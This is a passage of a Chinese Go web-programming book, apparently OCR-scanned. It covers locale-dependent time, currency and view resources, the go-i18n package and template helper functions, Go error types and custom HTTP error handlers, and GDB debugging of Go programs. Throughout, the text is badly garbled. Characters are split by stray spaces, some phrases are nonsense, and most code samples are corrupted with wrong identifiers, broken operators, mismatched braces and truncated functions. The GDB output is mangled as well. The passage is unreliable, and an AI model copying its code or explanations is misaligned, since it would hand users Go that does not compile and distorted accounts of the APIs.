AR: 2012 年 10 月 24 日 星期 三 23 时 11 分 13 秒 CST， 而 在 英文 环境 下 可 能 显 
示 : Wed Oct 24 23:11:13 CST 2012。 这 里 面 我们 需要 解决 两 个 问题 。 

1. 时 区 问题 

2. 格式 问题 

$GOROOT/lib/time 包 中 的 timeinfo.zip 含 有 Locale 对 应 的 时 区 的 定 
义 ， 为 了 获得 对 应 于 当前 Locale 的 时 间 ， 我 们 应 首先 使 用 
time.LoadLocation (name string) 获取 相应 于 地 区 的 Locale， 比 如 
Asia/Shanghai 或 America/Chicago 对 应 的 时 区 信息 ， 然 后 再 利用 此 信息 与 
调用 time.Now 获 得 的 Time 对 象 协作 来 获得 最 终 的 时 间 。 详 细 请 看 下 面 的 
例子 〈 该 例子 采用 上 面 例子 的 一 些 变量 ) 。 

en["time_zone"]="America/Chicago” 

cn | "time_zone"]="Asia/Shanghai” 





















=time.LoadLocation (msg (lang, "time_zone") ) 
Ime. Now () 
上 .In (loc) 
fmt Print lo (t.Format (time, RFC3339) 
我 们 可 以 通 ; RESUS peu et pecs Puen 举 
例如 下 。 
enl"date_format"] -ny smsd 4H:4M:%5" 
en["date_format"]="ty 年 sm 月 $d H tH 时 $M 分 $s 秒 " 


fmt .Print1n (date (msg (lang, "date_format"),t)) 


func date (fomate string,t time.Time) stringi 
year, month, day = t.Date() 
hour, min, sec = t.Clock() 
7/ 解 析 相应 的 $Y sm sd $H %M $3 然后 返回 信息 
JAY PM 2012, 
/7sm 替换 成 10 
1/40 BRR 24 

} 


本 地 化 货币 值 


各 个 地 区 的 货币 表示 不 一 样 ， 处 理 方式 也 与 日 期 差不多 ， 细 节 请 看 
下 面 代码 。 

en["money"] 

cn["money"] 





fmt.Println (date (msg (Lang, "date format") ,100)) 


func money format (fomate string,money int64) stringf 
return fmt.Sprintf |fomate, money) 
} 


本 地 化 视图 和 资源 















我 们 可 能 会 根据 Locale 的 不 同 来 展示 视图 ， 这 些 视图 包含 不 同 的 图 
片 、css、js 等 各 种 静态 资源 。 那 么 应 如 何 来 处 理 这 些 信息 呢 ? 首先 我 们 
应 按 locale 来 组 织 文 件 信息 ， 请 看 下 面 的 文件 目录 安排 。 








views 
1--en /7 英文 模板 
1--images /7 存储 图 片 信息 
I--is 77 存 储 IS 文件 
1--css /7 存储 css 文件 
index.tpl WY 用 户 首页 
login.tpl /7 登陆 首页 
1--zh-CN // 中 文 模板 
|--images 
|--as 
1--css 
index.tpl 


A POOR Rei Hy RAAT CePA MN SURT BB 


= template. ParseFiles ("views"+lang+"index.tp1") 





$1.Execute (os stdout, V) 
而 对 于 里 面 的 index.tpl 资 源 设 置 如 下 。 
dt js XF 
te eye 
国人 
77 css Xft 
<link href="views/{(.VV.Lang}}/css/bootstrap-responsive.min.css" rel= 
rstylesheet"> 
YY 图 片 文件 
<img src="views/({{.VV.Lang)})}/images/btn.p 


采用 这 种 方式 来 本 地 化 视图 以 及 资源 时 ， “我 们 就 可 以 很 容易 地 扩展 





ext/ javascript" sré="views/({.VV.Lang) }/3s/jquery/jqu 
</script> 





T? 
小 结 


本 节 介绍 了 如 何 使 用 及 存储 本 地 资源 ， 有 时 需要 通过 转换 函数 来 实 
现 ， 有 时 通过 lang 来 设置 ， 但 是 最 终 都 是 通过 key-value 的 方式 来 存储 
Locale 对 应 的 数据 ， 在 需要 时 取出 相应 于 Locale 的 信息 后 ， 如 果 是 文本 
信息 就 直接 输出 ， 如 果 是 时 间 日 期 或 者 货币 ， 则 需 通过 fmt.Printf 或 
其 他 格式 化 函数 来 处 理 ， 而 对 于 不 同 Locale 的 视图 和 资源 则 是 最 简单 
的 ， 只 要 在 路 径 里 面 增加 lang 就 可 以 实现 了 。 


10.3 国际 化 站 点 


前 面 介绍 了 如 何 处 理 本 地 化 资源 ， 即 Locale 一 个 相应 的 配置 文件 ， 
如 果 处 理 多 个 的 本 地 化 资源 呢 ? 对 于 一 些 我 们 经 常用 到 的 例如 简单 的 文 
本 翻译 、 时 间 日 期 、 数 字 等 如 何 处 理 呢 ? 本 节 将 一 一 解决 这 些 问题 。 


管理 多 个 本 地 包 


在 开发 一 个 应 用 的 时 候 ， 首 先 我 们 要 决定 是 只 支持 一 种 语言 ， 还 是 
多 种 语言 ， 如 果 要 支持 多 种 语言 ， 我 们 则 需要 制定 一 个 组 织 结构 ， 以 方 
便 将 来 更 多 语言 的 添加 。 在 此 我 们 设计 Locale 有 关 的 文件 放置 在 
config/locales 下 ， 假 设 要 支持 中 文 和 英文 ， 那 么 只 需要 在 这 个 文件 夹 下 
放置 en.json 和 zh.json， 如 下 所 示 。 




















"submit": "提交 "， 
“create™: "创建 " 
} 

} 


#en. json 


t 
"en": { 
“submit": "Submit", 
"create": "Create" 


i 


i 

为 了 支持 国际 化 ， 我 们 在 此 使 用 了 一 个 国际 化 相关 的 包 一 一 go- 
i18n Chttps:// github.com/astaxie/go-i18n) ， 首 先 我 们 向 go-il8n 包 注册 
config/locales 这 个 目录 ， 以 加 载 所 有 的 locale 文 件 。 

Tri=i18n.NewLocale () 

Tr. loadpath ("config/locales") 


这 个 包 使 用 起 来 很 简单 ， 我 们 可 以 通过 下 面 的 方式 测试 。 
fmt .Printin (Tr.Transiate ("submit") ) 

/77 输出 Submit 

Tr.SetLocale ("zn") 

fmt.Println(Tr.Translate ("submit") ) 


77 输 出 "递交 ” 


动 加 载 本 地 包 


我 们 介绍 了 如 何 自动 加 载 自 定 义 语言 包 ， 其 实 go-il8n 库 已 经 预 加 载 
了 很 多 默认 的 格式 信息 ， 例 如 时 间 格 式 、 货 币 格式 ， 用 户 可 以 在 自 定义 
配置 时 改写 这 些 默 认 配置 ， 请 看 下 面 的 处 理 过 程 。 























/7 加 载 默 认 配 置 文件 ， 这 些 文件 都 放 在 go-i18n/locales 下 面 


/7 文件 命名 zh.jscn、en-json、sn-0s.json 等 ， 可 以 不 断 的 扩展 支持 更 多 的 语言 





func (il *IL) 
dir, err 
if err 

return err 





DefaultTranslations (dirPath string) error { 
os.open(dirPath) 





! 
defer dir.closel) 






dir.Readdirnames (-1) 
nil { 
turn err 






for , name 
fullpath 


range names { 
path.goin(dirpath, name) 





fi, err := o5.Stat (fullPath) 





if fi.Isnir() { 


if err := il.load?ranslati: 
return err 





s(fullPath); err != nil { 


} 
} else if locale 





1.matchingLocaleFromPileName (name); locale != 
mg 





defer file Close() 


if err = il loadTranslation(file, locale); err != nil { 
tetum err 


i 
) 
return nil 
通过 上 面 的 方法 加 载 配置 信息 到 默认 的 文件 ， 这 样 我 们 就 可 以 在 ; 
有 自 定义 时 间 信 息 的 时 候 执 行 如 下 的 代码 获取 对 应 的 信息 。 





/flocale=zh 的 情况 下 ， 执 行 如 下 代码 : 


fmt .Print ln(Tr. Time (time.Now())) 


// 输 出，2009 年 1 月 08 日 星期 四 20:37:58 CST 


fmt .Println(Tr. Time (time. Now(), "long")) 


/7 输出 2009 年 1 月 08 日 


fmt .Print1n(Tr.Money (11.11)) 
7 输出 :Y11.11 


template mapfunc 


我 们 实现 了 多 个 语言 包 的 管理 和 加 载 ， 而 一 些 函 数 的 实现 是 基于 届 
辑 层 的 ， 例 如 “Tr.Translate"、*“Tr.Time”、*Tr.Money” 等 ， 虽 然 我 们 在 逻 
辑 层 可 以 利用 这 些 函 数 把 需要 的 参数 进行 转换 后 在 模板 层 泻 染 的 时 候 直 
接 输出 ， 但 是 如 果 我 们 想 在 模版 层 直接 使 用 这 些 函 数 该 怎么 实现 呢 ? 前 
面 介绍 模板 的 时 候 说 过 : Go 语言 的 模板 支持 自 定义 模板 函数 ， 下 面 是 
我 们 实现 的 方便 操作 的 mapfunc。 






1. 文 本 信息 
文本 信息 调用 Tr.Translate 来 实现 相应 的 信息 转换 ，mapFunc 的 实现 
funé qient(atgs .ntertacet}) string { 

ok i= false 

var s string 

if len(args) = 1 { 


S, ok = args[0]. (string) 
} 
if tok { 

s = fmv.sprint (args...) 
} 


return Tr.Translate (s) 


注册 函数 如 下 。 
t.Funcs (template.FuncMap("T": T18nT}) 


模板 中 使 用 如 下 。 


{{.V.Submit | T}} 

2. 时 间 日 期 

时 间 日 期 调用 Tr.Time 函 数 来 实现 相应 的 时 间 转 换 ，mapFunc 的 实现 
如 下 。 


func 118nTimeDate(args ...interface{}) string { 
ok := false 
var s string 
if len(arqs) == 1 { 
s, ok = args{0]. (string) 
} 
if tok { 
s = fmt.Sprint (args...) 
) 


return Tr. Time(s) 


} 
注册 函数 如 下 。 
t.Funcs (template.FuncMap{"ID": I18nTimeDate}) 


模板 中 使 用 如 下 。 


{{.V.Now | TD}} 

3. 货 币 信息 

货币 调用 Tr.Money 函 数 来 实现 相应 的 时 间 转 换 ，mapFunc 的 实现 如 
下 。 


func Il8nMoney(args ...interfacef]) string { 
ok := false 
var ring 





if len(args) = 1 { 

s, ok = args{[0]. (string) 
} 
if lok { 

s = fmt.sprint (args...) 
} 
return Tr.Money (s) 


} 
注册 函数 如 下 。 
t.Funcs (template.FuncMap{"M": I18nMoney}) 


模板 中 使 用 如 下 。 


CCV.Money | MH) 
小 结 


通过 本 节 我 们 知道 了 如 何 实现 一 个 多 语言 包 的 Web 应 用 ， 通 过 自 定 
义 语言 包 ， 我 们 可 以 实现 多 语言 ， 而 且 通过 配置 文件 能 够 扩充 多 语言 ， 
默认 情况 下 ，go-il8n 会 自 定 加 载 一 些 公共 的 配置 信息 ， 例 如 时 间 、 货 币 
等 ， 我 们 可 以 非常 方便 地 使 用 ， 同 时 为 了 支持 在 模板 中 使 用 这 些 函 数 ， 
也 实现 了 相应 的 模板 函数 ， 这 样 就 允许 我 们 在 开发 Web 应 用 的 时 候 直接 
在 模板 中 通过 pipeline 的 方式 来 操作 多 语言 包 。 


10.4 总 结 


通过 本 章 的 介绍 ， 读 者 应 该 对 如 何 操作 il8n 有 了 深入 的 了 解 ， 笔 者 
也 根据 这 一 章 介绍 的 内 容 实现 了 一 个 开源 的 解决 方案 go-il8n: 
https://github.com/astaxie/go-il18n。 通 过 这 个 开源 库 我 们 可 以 实现 多 语言 
版 本 的 Web 应 用 ， 使 得 我 们 的 应 用 能 够 轻松 实现 国际 化 。 如 果 你 发 现 这 
个 开源 库 中 的 错误 或 者 缺失 的 地 方 ， 请 一 起 参与 到 这 个 开源 项 目 中 来 ， 
让 我 们 的 这 个 库 争取 成 为 Go 语言 的 标准 库 。 


第 11 章 ”错误 处 理 、 调 试 和 测试 


很 多 行业 外 人 士 觉得 程序 员 是 设计 师 ， 能 够 把 一 个 系统 从 无 做 到 
i 是 一 项 很 伟大 的 工作 ， 相当 有 趣 ， 但 事实 上 我 们 每 天 都 是 徘徊 在 排 
错 、 调 试 、 测 试 之 间 。 当 然 如 果 我 们 有 良好 的 习惯 和 技术 方案 来 直面 这 
EIA, A TAREN RIR. ， 而 尽 可 能 将 时 间 花 费 在 更 有 价 

4 事 | 
但 是 遗憾 的 是 很 多 程序 员 不 愿意 在 错误 处 理 、 调 试 和 测试 能 力 上 下 
工夫 ， 导 致 后 面 应 用 上 线 之 后 查找 错误 、 定 位 问题 花费 更 多 的 时 间 。 所 
以 我 们 在 设计 应 用 之 前 就 做 好 错误 处 理 规划 、 测 试用 例 等 ， 将 来 修改 代 
码 、 升 级 系统 都 将 变 得 简单 。 

开 a wees 过 程 中 ， 错 误 自然 难免 ， 那 么 如 何 更 好 地 找到 错误 原 
因 ， 解 决 问题 呢 ? BLEN 中 如 何 处 理 错误 ， 如 何 设计 g 
己 的 包 、 mea 误 处 理 ， 第 11.2 节 将 介绍 如 何 使 用 GDB 来 调试 程序 
动态 运行 情况 下 各 种 变量 信息 ， 运 行情 况 的 监控 和 调试 。 

第 11.3 节 将 对 Go 语言 中 的 单元 测试 进行 深入 的 探讨 ， 并 示例 如 何 编 
写 单元 测试 ，Go 语 言 的 单元 测试 规则 规范 如 何 定义 ， 以 保证 以 后 升级 
修改 运行 相应 的 测试 代码 就 可 以 进行 最 小 化 的 测试 。 

希望 读者 朋友 培养 良好 的 调试 、 测 试 习惯 ， 从 现在 的 项 目 开发 ， 从 
学 习 Go Web 开 发 开始 。 


11.1 错误 处 理 


Go 语言 主要 的 设计 准则 是 : 简洁、 明白 。 简 洁 是 指 语法 和 C 语 言 
似 ， 非 常 简单 ， 明 白 是 指 任何 语句 都 很 明显 ， 不 含有 任何 隐 含 的 东西 ， 
在 错误 处 理 方案 的 设计 中 也 贯彻 了 这 一 思想 。 我 们 知道 在 C 语 言 里 面 是 
通过 返回 -1 或 者 NULL 之 类 的 信息 来 表示 错误 ， 但 是 对 于 使 用 者 来 说 ， 
不 查看 相应 的 API 说 明文 档 ， 根 本 搞 不 清楚 这 个 返回 值 究竟 代表 什么 意 
B» 比如 : 返回 0 是 成 功 还 是 失败 ? 而 Go 语言 定义 了 一 个 叫做 error 的 类 

型 ， 来 显 式 表达 错误 。 在 使 用 时 ， 通 过 把 返回 的 error 变 量 与 nil 的 比较 ， 
JOUEMIPE 是 否 成 功 。 例 如 os.Open 函 数 在 打开 文件 失败 时 将 返回 一 
不 为 nil 的 error 变 量 。 


func Open(name string) (file *File, err error) 


HE 


































下 面 这 个 例子 通过 调用 os.Open 打 开 一 个 文件 ， 如 果 出 现 错误 ， 那 
么 就 会 调用 log.Fatal 来 输出 错误 信息 。 
f, err := 0s.0pen("filename.ext") 
if err bey 
log. Fatal (err) 


类 似 于 os.Open 函 数 ， 标准 包 中 所 有 可 能 出 错 的 API 都 会 返回 一 个 
error 变 量 ， 以 方便 错误 处 理 ， 本 节 将 详细 地 介绍 error 类 型 的 设计 ， 讨 论 
开发 Web 应 用 中 如 何 更 好 地 处 理 error。 


Error 类 型 


Error 类 型 是 一 个 接口 类 型 ， 它 的 定义 如 下 。 
type error interface 1 
Error() string 


1 
我 们 可 以 在 /builtin/ 包 下 面 找到 相应 的 定义 ， 而 我 们 在 很 多 内 部 包 里 
面 用 到 的 error 是 errors 包 下 实现 的 私有 结构 errorString。 
// errorstring is a trivial implementation of error. 
type errorstring struct { 
s string 





} 


func le *errorstring) Error{) string { 
return e.s 


你 可 以 通过 errors.New 把 一 个 字符 串 转 化 为 errorString， 以 得 到 一 个 
满足 接口 error 的 对 象 ， 其 内 部 实现 如 下 。 
// New returns an error that formats as the given text. 
func New(text string) error ( 
return serrorString{text} 


下 面 这 个 例子 演示 了 如 何 使 用 errors New. 


fune Sart (f float64) (floated, error) { 
if <01 
return 0, errors.New("math: square root of negative number") 
1 
// implementation 


) 

在 下 面 的 例子 中 ， 我 们 在 调用 Sqrt 的 时 候 传递 一 个 负数 ， 然 后 就 得 
到 了 non-nil 的 error 对 象 ， 将 此 对 象 与 ni 比较， 结果 为 tue， 所 以 
fmt.Println fmt 包 在 处 理 error 时 会 调用 error 方 法 ) 被 调用 ， 以 输出 错 
误 ， 请 看 下 面 调用 的 示例 代码 。 


f, err := sqrt (-1) 
if err != nil { 

Emt .Print1n(err) 
} 








je error 














通过 上 面 的 介绍 我 们 知道 error 是 一 个 interface， 所 以 在 实现 自己 的 
包 时 ， 通 过 定义 实现 此 接口 的 结构 ， 我 们 就 可 以 实现 自己 的 错误 定义 ， 
请 看 来 自 JSON 包 的 示例 。 

type SyntaxError struct ( 

msg string // 错误 描述 
Offset int64 // 错误 发 生 的 位 置 
) 


func (e *SyntaxError) Error() string { return e.msg 
Offset 字 段 在 调用 error 的 时 候 不 会 被 打印 ， 得 是 纺 们 可 以 通过 类 型 
断言 获取 错误 类 型 ， 然 后 可 以 打印 相应 的 错误 信息 ， 请 看 下 面 的 例子 。 
可 
if serr, ok := err. (*}son.SyntaxError); ok { 
line, col := findLine(f, serr.Offset) 
return fmt.Errorf("%s:%d:%d: tv", £.Name(), line, col, err) 
1 
return err 


1 
需要 注意 的 是 ， 函 数 返 回 自 定 义 错误 时 ， 返 回 值 推荐 设置 为 error 类 
型 ， 而 非 自 定义 错误 类 型 ， 特 别 需 要 注意 的 是 ， 不 应 预 声明 自 定义 错误 
类 型 的 变量 。 例 如 : 
func Decode() *SyntaxError { // 错误 ， 将 可 能 导致 上 层 调用 者 err!=nil 的 判断 水 
ÜH true. 
var err *SyntaxBrror 7/ 预 声明 错误 变量 
if 出 错 条 件 { 
err = sSyntaxError{} 
+ 


return err /7 错误 ，ert 永远 等 于 非 nil， 导 致 上 层 调 用 者 err!=nil 
的 判断 始终 为 Erue 


Ja [Al WUhttp://golang.org/doc/faq#nil_error. 
上 面 例子 简单 演示 了 如 何 自 定义 error 类 型 。 但 是 如 果 我 们 还 需要 更 
复杂 的 错误 处 理 呢 ? 此 时 ， 我 们 来 参考 一 下 net 包 采用 的 方法 。 


package net 


type Error interface { 
error 
Timeout () bool // Is the error a timeout? 
Temporary() bool // Is the error temporary? 


在 调用 的 地 方 ， 通 过 类 型 断言 er 是 不 是 net Error， 米 细 化 错误 的 处 


理 ， 如 果 一 个 网 络 发 生 临 时 性 错误 ， 那 么 将 会 sleep 1 秒 之 后 重 试 。 
if nerr, ok := err. (net.Error); ok 6& nerr.Temporary() [ 
time. Sleep (1e9) 
continue 
} 
if err != nil { 


log.Fatal (err) 
} 


错误 处 理 


Go 语言 在 错误 处 理 上 采用 了 与 C 语 言 类 似 的 检查 返回 值 的 方式 ， 而 
不 是 其 他 多 数 主流 语言 采用 的 异常 方式 ， 这 造成 了 代码 编写 上 的 一 个 很 
大 的 缺点 ， 错 误 处 理 代码 的 元 余 ， 这 种 情况 下 我 们 可 以 通过 复 用 检测 函 
数 来 减少 类 似 的 代码 。 

请 看 下 面 这 个 例子 。 

as Heeb Th eee 

} 


func viewRecord(w http.ResponseWriter, r *http.Request) { 
© :~ appengine.NewContext (r) 


key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) 
record := new(Record) 
if err := datastore.Get(c, key, record); err != nil { 
http.Error(w, err.Error(), 500) 
return 
1 
if err := viewTemplate,Execute(w, record); err != nil { 


http.Error (w, err-Error(), 500) 
+ 


$ 

上 面 的 例子 中 获取 数据 和 模板 展示 调用 时 都 有 检测 错误 ， 当 有 错误 
发 生 时 ， 调 用 了 统一 的 处 理 函 数 http.Error， 返 回 给 客户 端 500 错 误 码 ， 
并 显示 相应 的 错误 数据 。 但 是 ， 当 越 来 越 多 的 HandleFunc 加 入 之 后 ， 这 
样 的 错误 处 理 逻 辑 代 码 就 会 越 来 越 多 ， 其 实 我 们 可 以 通过 自 定义 路 由 器 


来 缩减 代码 〈 实 现 的 思路 可 以 参考 第 3 章 的 HTTP 详 解 ) 。 
type appHandler func(http.ResponseWriter, *http.Request) error 
func (fn appHandler) ServeHTTP (w http.ResponseWriter, r *http.Request) { 
if err := fn(w, r); err != nil { 
http.Error (w, err.Error{), 500) 
上 


我 们 定 义 了 自 定义 的 路 由 器 ， 然 后 我 们 可 以 通过 如 下 方式 来 注册 函 


func init() { 
http.Handle("/view", appHandler (viewRecord)) 


) 
当 请 求 wiew 的 时 候 ， 我 们 的 逻辑 处 理 可 以 变 成 如 下 代码 ， 和 第 一 
种 实现 方式 相 比较 已 经 简单 了 很 多 。 

func viewRecord(w http.Responselirites, 
c := appengine.NewContext (r) 
key := datastore.NewKey (c, 
record := new(Record) 
if err := datastore.Get(c, key, record); err != nil { 

return err 

1 
return viewTemplate.Execute(w, record) 


"iA NF-H SN TAT RR EA FT BSH i 
码 ， 然 后 打印 出 来 相应 的 错误 代码 ， 其 实 我 们 可 以 把 这 个 错误 信息 定义 
bi 友好 ， 调 试 的 时 候 也 方便 定位 问题 ， 我 们 可 以 自 定义 返回 的 错误 
类 型 。 
type apFBrror struct { 

Error error 

Message string 

Code int 


这 样 我 们 的 自 定义 路 由 器 可 以 改 成 如 下 方式 。 


type appHandler func (http.Responsewriter, 


z *http.Request) error { 


"Record", r.FormValue("id"), 0, nil) 





Anttp.Request) *appError 


func (fn 
if e 








HTTP (w http.ResponseWriter, r *http.Request) { 
1 { // e is *apperror, not os.Error. 





http-Error(w, e.Message, e.Code) 


1 


修改 完 自 定义 错误 之 后 ， 我 们 的 逻辑 处 理 可 以 改 成 如 下 方式 。 


func viewRecord(w http.ResponseWriter, r *http.Request) *appError { 


c := appengine.NewContext (r) 
key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) 
record := new (Record) 

if err := datastore.Get(c, key, record); err != nil { 


return gappError(err, “Record not found", 404) 

} 

if err := viewTemplate.Execute(w, record); err != nil { 
return sappError(err, "Can't display record", 500} 

} 


return nil 


如 上 所 示 ， 在 我 们 访问 view 的 时 候 可 以 根据 不 同 的 情况 获取 不 同 的 
错误 码 和 错误 信息 ， 虽 然 这 个 和 第 一 个 版 本 的 代码 量 差不多 ， 但 是 这 个 
显示 的 错误 更 加 明显 ， 提 示 的 错误 信息 更 加 友好 ， 扩 展 性 也 比 第 一 个 更 
好 。 


小 结 


在 程序 设计 中 ， 容 错 是 非常 重要 的 一 部 分 工作 ， 在 Go 语言 中 它 是 
通过 错误 处 理 来 实现 的 ， 虽 然 error 只 是 一 个 接口 ， 但 是 其 变化 却 可 以 有 
很 多 ， 我 们 可 以 根据 自己 来 实现 不 同 的 处 理 ， 最 后 介绍 的 错误 处 
理 方案 ， 希 望 能 给 大 家 在 如 何 设 计 更 好 Web 错 误 处 理 方案 上 带 来 一 点 启 
We 

















11.2 ”使 用 GDB 调 试 








开发 程序 过 程 中 调试 代码 是 开发 者 经 常 要 做 的 一 件 事情 ，Go 语 言 
不 像 PHP、Python 等 动态 语言 ， 只 要 修改 不 需要 编译 就 可 以 直接 输出 ， 
而 且 可 以 在 运行 环境 下 动态 地 打印 数据 。 当 然 ，Go 语 言 也 可 以 通过 
PrintIn 之 类 的 打印 数据 来 调试 ， 但 是 每 次 都 需要 重新 编译 ， 这 非常 麻 
烦 。 我 们 知道 在 Python 中 有 pdbyipdb 之 类 的 工具 调试 ，Javascript 也 有 类 
似 工具 ， 这 些 工 具 都 能 够 动态 显示 变量 信息 ， 单 步调 试 等 。 庆 幸 的 是 
Go 语言 也 有 类 似 的 工具 GDB。Go 语 言 内 部 已 经 内 置 支持 了 
GDB， 所 以 ,我 们 可 以 通过 GDB 来 进行 调试 ， 本 小 节 就 来 介绍 一 下 如 
何 通过 GDB 来 调试 Go 语言 程序 。 



















GDB 调 试 简介 


GDB 是 FSF (自由 软件 基金 会 ) 发 布 的 一 个 强大 的 类 UNIX 系 统 下 
Wr 使 用 GDB 可 以 做 如 下 事情 。 
.启动 程序 ， 可 以 按照 开发 者 的 自 定义 要 求 运 行程 序 
可 让 被 调试 的 程序 在 开发 者 设 定 的 调 置 的 断 点 处 售 住 ( 断 点 可 
表达 式 ) 。 
当 程序 被 停 住 时 ， 可 以 检查 此 时 程序 中 所 发 生 的 事 。 
a 动态 的 改变 当前 程序 的 执行 环境 。 
目前 支持 调试 Go 语言 程序 的 GDB 版 本 必须 大 于 7.1。 
me 言 程序 的 时 候 需要 注意 以 下 几 点 。 
传递 参数 -ldflags "-s"， 忽 略 debug 的 打印 信息 。 

传递 -gcflags "-N -1" 参 数 ， 这 样 可 以 忽略 Go 语言 内 部 做 的 一 些 优 
化 ， 聚 合 变量 和 函数 等 优化 ， 这 样 对 于 GDB 调 试 来 说 非常 困难 ， 所 以 在 
编译 的 时 候 加 入 这 两 个 参数 避免 这 些 优化 。 


u 

















AA 
常用 命令 














GDB 的 一 些 常用 命令 如 下 所 示 。 

e list 

简写 命令 1， Riak penta 默认 显示 十 行 代 码 ， 后 面 可 以 带 上 
参数 显示 的 具体 行 ， 例 如 list 15， 显 示 十 行 代码 ， 其 中 第 15 行 在 显示 的 
十 行 里 面 的 中 间 ， 如 下 所 示 。 


time. Sleep(2 * time.Second) 
e<- i 

12 } 

13 close (c) 

14 1 


16 func main() + 


17 msg := "Starting main” 
18  fmt.PrintIn (msg) 

19 bus := make (chan int) 
e break 


简写 命令 b， 用 来 设置 断 点 ， 后 面 跟 上 参数 设置 断 点 的 行 数 ， 例 如 b 
10 在 第 十 行 设 置 断 点 。 
e delete 


简写 命令 4， 用 来 删除 断 点 ， 后 面 跟 上 断 点 设置 的 序号 ， 这 个 序号 





可 以 通过 info breakpoints 获 取 相应 的 设置 的 断 点 序号 ， 如 下 是 显示 的 设 


置 断 点 序号 。 
Nun Type Disp Enb Address what 
2 breakpoint keep y  0x0000000000400de3 in main-main at 


nome /xiemengjun/gdb.go:23 

breakpoint already hit 1 time 
backtrace 

简写 命令 pt， 用 来 打印 执行 的 代码 过 程 ， 如 下 所 示 。 

#0 main.main () at /home/xiemengjun/gdb.go:23 

#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/ 
pka/runtime/proc.c:244 

#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/sre/ 
pkg/runtime/proc.c:267 

#3 0x0000000000000000 in 22 () 

e info 


info 命 令 用 来 显示 信息 ， 后 面 有 几 种 参数 ， 我 们 常用 的 有 如 下 几 










info locals 

显示 当前 执行 的 程序 中 的 变量 值 。 
0 breakpoints 

显示 当前 设置 的 断 点 列表 。 

3. info goroutines 


显示 当前 执行 的 goroutine 列 表 ， 如 下 代码 所 示 ， 带 * 的 表示 当前 执 


* 1 running runtime.gosched 
* 2 syscall runtime-entersyscall 
3 waiting runtime.gosched 
4 runnable runtime.gosched 
e print 
命令 p， 用 来 打印 变量 或 者 其 他 信息 ， 后 面 跟 上 需要 打印 的 变 
还 有 一 些 很 有 用 的 函数 $len0 和 $cap0， 用 来 返回 当前 
string、slices 或 者 maps 的 长 度 和 容量 。 
e whatis 
用 来 显示 当前 变量 的 类 型 ， 后 面 跟 上 变量 名 ， 例 如 whatis msg， 显 
示 如 下 。 
type = struct string 
e next 
简写 命令 np， 用 来 单 步调 试 ， 跳 到 下 一 步 ， 当 有 断 点 之 后 ， 可 以 输 
入 n 跳 转 到 下 一 步 继续 执行 。 
e coutinue 


简称 命令 c， 用 来 跳出 当前 断 点 处 ， 后 面 可 以 跟 参 数 N， 跳 过 多 少 次 





Wes 





e set variable 
该 命令 用 来 改变 运行 过 程 中 的 变量 值 ， 格 式 如 : set variable <var>= 


<value>. 
我 们 通过 下 面 这 个 代码 来 演示 如 何 通过 GDB 来 调试 Go 语言 程序 ， 
下 面 是 将 要 演示 的 代码 。 


Package main 





import ( 
"fmt" 
"time" 
) 


func counting(e chan<- int) ( 
for i := 0; i < 10; it { 
time.Sleep(2 * time. Second) 
c<- i 
上 
close (c) 


) 


fune main() ( 
msg := "Starting main” 
fmt 
bus : 
msg = "starting a gofunc” 
go counting (bus) 
for count := range bus { 
fmt .Printin(*count:", count} 








} 
编译 文件 ， 生 成 可 执行 文件 gdbfile 


ee gdbfile.go 

db gdbfile 

启动 之 后 首先 看 看 这 个 程序 是 不 是 可 以 运行 起 来 ， 只 要 输入 mun 合 
令 回 车 后 程序 就 开始 运行 ， 程 序 正常 的 话 可 以 看 到 程序 输出 如 下 ， 和 我 
们 在 命令 行 直接 执行 程序 输出 一 样 


(gab) run 
Starting program: /home/xiemengjun/gdbfile 
Starting main 

count: 0 

count: 1 

count: 2 

count: 3 

count: 4 

count: 5 

count: 6 

count: 7 

count: 8 

count: 9 

[LWP 2771 exited] 

[inferior 1 (process 2771) exited normal 


现在 我 们 已 经 知道 怎么 TEL 接 下 来 开始 给 代码 设 





(gab) b 23 
Breakpoint 1 at 0x400d8a; file /nome/xiemengjun/gdbfile.go, line 23. 
(gdb) run 

Starting program: /home/xiemengjun/gdbfile 

Starting main 

[New LWP 3284] 

[Switching to IWP 3284] 


Pa 1, main.main () at /home/xiemengjun/gdbfile.go:23 
fmt.Println("count:", count) 


士 面 例子 23 表示 在 第 23 行 没 设置 了 断 点， 之 后 输入 run 开 始 运行 程 
。 现 在 程序 在 前 面 设置 断 点 的 地 方 停 住 了 ， 我 们 需要 查看 断 点 相应 上 


下 文 的 源码 ， 输 入 list 就 可 以 看 到 源码 显示 从 当前 停止 行 的 前 五 行 开 


始 。 


(gab) list 
18 fmt .Print In (msg) 

19 bus := make(chan int) 

20 msg = "starting a gofunc" 

21 go counting (bus) 

22 for count := range bus { 

23 fmt .Printin("count:", count) 
24 } 


GDB 在 运行 当 当前 的 程序 的 环境 中 已 经 保留 了 一 些 有 用 的 调试 信息 ， 


我 们 只 需 打印 出 相应 的 变量 ， 查 看 相应 变量 的 类 型 及 值 。 


(gdb) info locals 
count = 0 

bus = 0xf840001a50 

(gdb) p count 

see 

(gdb) p bus 

$2 = (chan int) 0xf840001a50 
(gdb) whatis bus 


Bias alec: a ee oe FNRA. 
Ra ees 

[New LWP 3303] 

ee 


Breakpoint 1, main.main (] at /home/xiemengjun/gdbfile.go:23 
23 fmt.Printin("count:*, count) 

(gdb) © 

Continuing. 

count: 1 


[Switching to LWP 3302] 


Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 

23 fmt Printin("count:", count) 
每 次 输入 c 之 后 都 会 执行 一 次 代码 ， 又 跳 到 下 一 次 for 循 环 ， 继 续 打 
印 出 来 相应 的 信息 

设想 目前 需要 改变 上 下 文 相 关 变 量 的 信息 ， 跳 过 一 些 过 程 ， 并 继续 
执行 下 一 步 ， 得 出 修改 后 想 要 的 结果 。 

(gab) info locals 

count = 2 

bus = 0xf840001a50 

(gdb) set variable count=9 

(gdb) info locals 

count = 9 

bus = 0x£840001a50 

(gdb) c 

Continuing. 

count: 9 

[Switching to IWP 3302] 





Breakpoint 1, main.main {) at /home/xiemengjun/gdbfile.go:23 
23 fmt. 人 ™, count) 


最 后 思考 一 下 ， 前 面 整个 程序 运行 的 过 程 中 到 底 创 建 了 多 少 个 
goroutine, 每 个 goroutine 都 在 做 什么 Le 


igdb) info goroutines 





(gdb) goroutine 1 bt 
00000040e33b in runtime.gosched () at /nome/xiemengjun/go/src/ 
e/proc.¢ 

0000000040 















